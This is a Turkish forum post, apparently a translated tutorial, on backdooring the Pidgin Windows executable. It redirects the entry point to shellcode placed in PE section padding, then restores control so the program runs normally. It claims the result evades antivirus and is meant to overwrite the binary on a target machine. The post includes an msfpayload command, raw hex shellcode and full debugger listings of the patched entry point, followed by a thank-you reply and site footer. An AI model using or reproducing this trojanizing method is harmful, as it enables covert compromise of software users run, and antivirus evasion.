Bunun yerine, (1) yürütülebilir dosyayı saldıran makinemize indireceğiz, (2) kötü amaçlı kodumuzu binarye enjekte edeceğiz, (3) hala amaçlandığı gibi çalıştığından emin olacağız ve (4) hedef makinede değiştireceğiz. Ortaya çıkan çalıştırılabilir dosya, AV tarafından tamamen tespit edilemez olacak ve pidgin hala normal şekilde çalışacağından gereksiz şüpheler uyandırmayacaktır. Gerekli değişiklik, Bağışıklık hata ayıklayıcı (veya Olly) kullanılarak yapılabilir.

İlk önce pidgin'in modül giriş noktasını not etmemiz gerekecek. Buradaki talimatlar, program başlatıldığında ilk çalıştırılacak şeydir.





Daha sonra, kabuk kodumuzu saklayacak kadar büyük bir boş alan bulmamız gerekiyor. Eğer PE çalıştırılabilir dosyalarına yakından bir göz attıysanız, her bölümün sonunda (.text, .data, .rdata, ..) çok büyük bir boş bayt dolgusu olduğunu bileceksinizdir. Bu durumda, ".text" bölümünün sonuna kadar basitçe kaydırabiliriz, buradaki dolgu, kabuk kodumuz için mükemmel bir yer olacaktır.




Temel ilke oldukça açık: (1) boş bayt dolgusuna atlamak için giriş noktasını değiştirmemiz gerekiyor, (2) atlama hedefinde kabuk kodumuzu enjekte ediyoruz, (3) giriş noktasını seçiyoruz ve program denetimini yasal koda geri veriyoruz.

İlk olarak, boş bayt dolgumuza atlamak için giriş noktasını değiştirelim. Yeni giriş noktasını eskisiyle karşılaştırırsanız, birkaç talimatın hatalı olduğunu fark edeceksiniz. Bunları nasıl düzelteceğimizi daha sonra göreceğiz.





Daha sonra, payload olarak yürütülebilir dosyaya kopyalayabileceğimiz bir kabuk kodu oluşturmamız gerekiyor. Bir kenara bırakırsak, kabuk kodunu kodlamak gerekli değildir, aslında bunu yapmak, kod çözücü onu açmaya çalıştığında sorunlara neden olabilir.

Kod:
# grep & tr to strip out all unnecessary data.
root@Josjikawa:~# msfpayload windows/exec cmd='calc' exitfunc='none' C |grep '"' |tr -d '"\\x;\n'

fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b42
3c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b
582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d6a018d85b90000005068318b6f87ff
d5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300


Bu kabuk kodunun düzgün çalışması için bazı küçük değişiklikler gerekecek. Kabuk kodu çalıştırıldığında, epilog "ntdll.KiFastSystemCallRet"i çağırarak sona erecek ve bu da yürütme akışını sonlandıracaktır. Orijinal program akışını korumak istediğimiz için, bunun olmasını durdurmamız gerekecek. Hata ayıklayıcıda ortaya çıkan kabuk kodu aşağıda görülebilir.

Kod:
0040391C 60 PUSHAD Save registry and flag values!
0040391D 9C PUSHFD
0040391E FC CLD
0040391F E8 89000000 CALL pidgin.004039AD
00403924 60 PUSHAD
00403925 89E5 MOV EBP,ESP
00403927 31D2 XOR EDX,EDX
00403929 64:8B52 30 MOV EDX,DWORD PTR FS:[EDX+30]
0040392D 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
00403930 8B52 14 MOV EDX,DWORD PTR DS:[EDX+14]
00403933 8B72 28 MOV ESI,DWORD PTR DS:[EDX+28]
00403936 0FB74A 26 MOVZX ECX,WORD PTR DS:[EDX+26]
0040393A 31FF XOR EDI,EDI
0040393C 31C0 XOR EAX,EAX
0040393E AC LODS BYTE PTR DS:[ESI]
0040393F 3C 61 CMP AL,61
00403941 7C 02 JL SHORT pidgin.00403945
00403943 2C 20 SUB AL,20
00403945 C1CF 0D ROR EDI,0D
00403948 01C7 ADD EDI,EAX
0040394A ^E2 F0 LOOPD SHORT pidgin.0040393C
0040394C 52 PUSH EDX
0040394D 57 PUSH EDI
0040394E 8B52 10 MOV EDX,DWORD PTR DS:[EDX+10]
00403951 8B42 3C MOV EAX,DWORD PTR DS:[EDX+3C]
00403954 01D0 ADD EAX,EDX
00403956 8B40 78 MOV EAX,DWORD PTR DS:[EAX+78]
00403959 85C0 TEST EAX,EAX
0040395B 74 4A JE SHORT pidgin.004039A7
0040395D 01D0 ADD EAX,EDX
0040395F 50 PUSH EAX
00403960 8B48 18 MOV ECX,DWORD PTR DS:[EAX+18]
00403963 8B58 20 MOV EBX,DWORD PTR DS:[EAX+20]
00403966 01D3 ADD EBX,EDX
00403968 E3 3C JECXZ SHORT pidgin.004039A6
0040396A 49 DEC ECX
0040396B 8B348B MOV ESI,DWORD PTR DS:[EBX+ECX*4]
0040396E 01D6 ADD ESI,EDX
00403970 31FF XOR EDI,EDI
00403972 31C0 XOR EAX,EAX
00403974 AC LODS BYTE PTR DS:[ESI]
00403975 C1CF 0D ROR EDI,0D
00403978 01C7 ADD EDI,EAX
0040397A 38E0 CMP AL,AH
0040397C ^75 F4 JNZ SHORT pidgin.00403972
0040397E 037D F8 ADD EDI,DWORD PTR SS:[EBP-8]
00403981 3B7D 24 CMP EDI,DWORD PTR SS:[EBP+24]
00403984 ^75 E2 JNZ SHORT pidgin.00403968
00403986 58 POP EAX
00403987 8B58 24 MOV EBX,DWORD PTR DS:[EAX+24]
0040398A 01D3 ADD EBX,EDX
0040398C 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2]
00403990 8B58 1C MOV EBX,DWORD PTR DS:[EAX+1C]
00403993 01D3 ADD EBX,EDX
00403995 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4]
00403998 01D0 ADD EAX,EDX
0040399A 894424 24 MOV DWORD PTR SS:[ESP+24],EAX
0040399E 5B POP EBX
0040399F 5B POP EBX
004039A0 61 POPAD
004039A1 59 POP ECX
004039A2 5A POP EDX
004039A3 51 PUSH ECX
004039A4 FFE0 JMP EAX
004039A6 58 POP EAX
004039A7 5F POP EDI
004039A8 5A POP EDX
004039A9 8B12 MOV EDX,DWORD PTR DS:[EDX]
004039AB ^EB 86 JMP SHORT pidgin.00403933
004039AD 5D POP EBP
004039AE 6A 01 PUSH 1
004039B0 8D85 B9000000 LEA EAX,DWORD PTR SS:[EBP+B9]
004039B6 50 PUSH EAX
004039B7 68 318B6F87 PUSH 876F8B31
004039BC FFD5 CALL EBP
004039BE EB 22 JMP SHORT pidgin.004039E2 ---| Hook the shellcode epilog before it ends up
004039C0 90 NOP | calling ntdll.KiFastSystemCallRet
004039C1 90 NOP |
004039C2 90 NOP |
004039C3 68 A695BD9D PUSH 9DBD95A6 |
004039C8 FFD5 CALL EBP |
004039CA 3C 06 CMP AL,6 |
004039CC 7C 0A JL SHORT pidgin.004039D8 |
004039CE 80FB E0 CMP BL,0E0 |
004039D1 75 05 JNZ SHORT pidgin.004039D8 |
004039D3 BB 4713726F MOV EBX,6F721347 |
004039D8 6A 00 PUSH 0 |
004039DA 53 PUSH EBX |
004039DB FFD5 CALL EBP |
004039DD 6361 6C ARPL WORD PTR DS:[ECX+6C],SP |
004039E0 6300 ARPL WORD PTR DS:[EAX],AX |
004039E2 9D POPFD $ 83EC 1C SUB ESP,1C # Nuked!
004012A3 . C70424 0200000>MOV DWORD PTR SS:[ESP],2 # Nuked!
004012AA . FF15 9C924000 CALL DWORD PTR DS:[; msvcrt.__set_app_type # Fine!
004012B0 . E8 4BFDFFFF CALL pidgin.00401000

Modified Module Entry Point:

004012A0 > E9 77260000 JMP pidgin1.0040391C # JMP to our shellcode.
004012A5 90 NOP
004012A6 90 NOP
004012A7 90 NOP
004012A8 90 NOP
004012A9 90 NOP
004012AA . FF15 9C924000 CALL DWORD PTR DS:[; msvcrt.__set_app_type
004012B0 . E8 4BFDFFFF CALL pidgin1.00401000


Geriye kalan tek şey, nükleer bombayı kabuk kodumuzun sonuna eklemek ve modül giriş noktasındaki ilk dokunulmamış talimata geri dönmek.

Kod:
004039E2 > 9D POPFD
004039E3 . 61 POPAD
004039E4 . 83EC 1C SUB ESP,1C # Instruction restored!
004039E7 . C70424 0200000>MOV DWORD PTR SS:[ESP],2 # Instruction restored!
004039EE .^E9 B7D8FFFF JMP pidgin.004012AA # JMP back to module entry point.


Artık dosyayı hedefe geri yükleyebilir ve orijinal yürütülebilir dosyanın üzerine yazabiliriz. Pidgin her başlatıldığında, hesap makinesi de başlayacaktır. Bu arada, Pidgin normal şekilde çalışacaktır, orijinal kodun hiçbiri değiştirilmemiştir!




(DEVAMI AşAÐIDA)
 

Benzer konular

Nutella

Harbi Üye
Bayan Üye
Özel Üye
Katılım
2 Ocak 2021
Mesajlar
9,432
Tepkime puanı
8
Cinsiyet
  1. Bayan
Takım
Galatasaray
Paylaşım için teşekkürler.
 
İçerik sağlayıcı "paylaşım" sitelerinden biri olan Harbimekan.Com Forum, Eğlence ve Güncel Paylaşım Platformu Adresimizde 5651 Sayılı Kanun’un 8. Maddesine ve T.C.K’nın 125. Maddesine göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur. Harbimekan.Com sitesindeki konular yada mesajlar hakkında yapılacak tüm hukuksal Şikayetler için info@harbimekan.com yada iletişim sayfası üzerinden iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 3 Gün (72 Saat) içerisinde Forum yönetimi olarak tarafımızdan gereken işlemler yapılacaktır.

Bu Site, Bilim ve Sağlık Haber Ajansı Üyesidir.

Yığıntı - 8kez - kaynak mağazam - Uğur Ağdaş - genel forum - webp converter